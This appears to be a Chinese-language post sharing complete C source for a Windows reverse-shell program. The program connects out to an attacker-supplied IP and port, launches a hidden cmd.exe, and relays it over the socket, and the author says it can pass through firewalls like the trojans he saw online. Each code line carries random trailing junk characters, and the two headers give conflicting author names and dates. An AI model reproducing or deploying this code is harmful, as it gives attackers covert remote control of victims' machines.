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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 72l:[5ccR  
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/* ============================== aO{@.  
Rebound port in Windows NT j@xIa-{*  
By wind,2006/7 Tvv>9gS  
===============================*/ r_+Vb*|Y  
#include =%U &$d|@G  
#include )Jt. Z^J<  
Uh/=HNR  
#pragma comment(lib,"wsock32.lib") bF _]j/  
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void OutputShell(); F_079~bJ  
SOCKET sClient; =z. hJu  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; aE0R{yupZ  
|k}<Zz1UM  
void main(int argc,char **argv) 8g -u  
{ %n$f#Ml_r  
WSADATA stWsaData; [{Wo:c9Qq1  
int nRet; "}()/  
SOCKADDR_IN stSaiClient,stSaiServer; qc(e3x  
c/$].VG0  
if(argc != 3) jf)cDj2  
{ "M/c0`>C!i  
printf("Useage:\n\rRebound DestIP DestPort\n"); ';R]`vWFe  
return; QGN+f)  
} =-^A;AO(  
x-i,v"8  
WSAStartup(MAKEWORD(2,2),&stWsaData); S(.J  
nmpc<&<<  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7rD 8  
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stSaiClient.sin_family = AF_INET; z}-CU GS  
stSaiClient.sin_port = htons(0); gdIk%m4  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6%V:Z  
0(i3RPIj\  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _i>_Sn1"  
{ 1gK|n  
printf("Bind Socket Failed!\n");  )M;~j  
return; b_sasZo  
} SY Bp-o  
& %/p; ::A  
stSaiServer.sin_family = AF_INET; K~#?Y,}O  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e6p3!)@P1  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); sqhMnDn[  
I'xc$f_+  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) J* !_O#  
{ Ucv7`W gr  
printf("Connect Error!"); h] ho? K  
return; ;?u cC@  
} qt9jZtx  
OutputShell(); =|J*9z;  
} 0_qr7Ui8(  
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void OutputShell() T;DKDg a  
{ XW aa`q  
char szBuff[1024]; YWU@e[  
SECURITY_ATTRIBUTES stSecurityAttributes; xY?p(>(  
OSVERSIONINFO stOsversionInfo; 'jO2pH/%  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; }`CF(Do  
STARTUPINFO stStartupInfo; )ThNy:4  
char *szShell; !,ODczWvh  
PROCESS_INFORMATION stProcessInformation; <Y6Vfee,&  
unsigned long lBytesRead; by1q"\-,  
SE*;6&yL  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cq>J]35  
z#G\D5yX[*  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~ AD>@;8fG  
stSecurityAttributes.lpSecurityDescriptor = 0; Y nnK]N;\x  
stSecurityAttributes.bInheritHandle = TRUE; -`8@  
}Rz,}^B  
~ 6=6YP  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); !{ *yWpZ:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8^EWD3N`  
cEf"m ?w  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;G`]`=s#Lq  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <k[_AlCmsg  
stStartupInfo.wShowWindow = SW_HIDE; u$tst_y-  
stStartupInfo.hStdInput = hReadPipe; gZ&4b'XS,  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4U\>TFO  
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GetVersionEx(&stOsversionInfo); uPl7u 1c  
m> +  
switch(stOsversionInfo.dwPlatformId) x .@O]}UH  
{ z~f;}`0  
case 1: xJw" 8V<  
szShell = "command.com"; 3B;Gm<fJ9N  
break; l\0PwD  
default: : F3UJ[V  
szShell = "cmd.exe"; kYCm5g3u  
break; V=fu[#<@Ig  
} %@%rdrZ  
@|;[ ;:h@  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); +o3n%( ^~  
]*]*O|w  
send(sClient,szMsg,77,0); ;Qy Ew5  
while(1) ;Mq'+4$  
{ 8;`B3N7  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); lI46 f  
if(lBytesRead) 7kD?xHpe  
{ >/Z*\6|Zx#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); M &-p  
send(sClient,szBuff,lBytesRead,0); K?M~x&Q  
} ThP~k9-  
else 8Y%  
{ 2FdwX ,O.  
lBytesRead=recv(sClient,szBuff,1024,0); lq-F*r\/~+  
if(lBytesRead<=0) break; o[wiQ9Tl  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); \RDqW+,  
} el<Gd.p.d  
} /T qbl^[  
}^H(EHE  
return; 5Bq;Vb  
}
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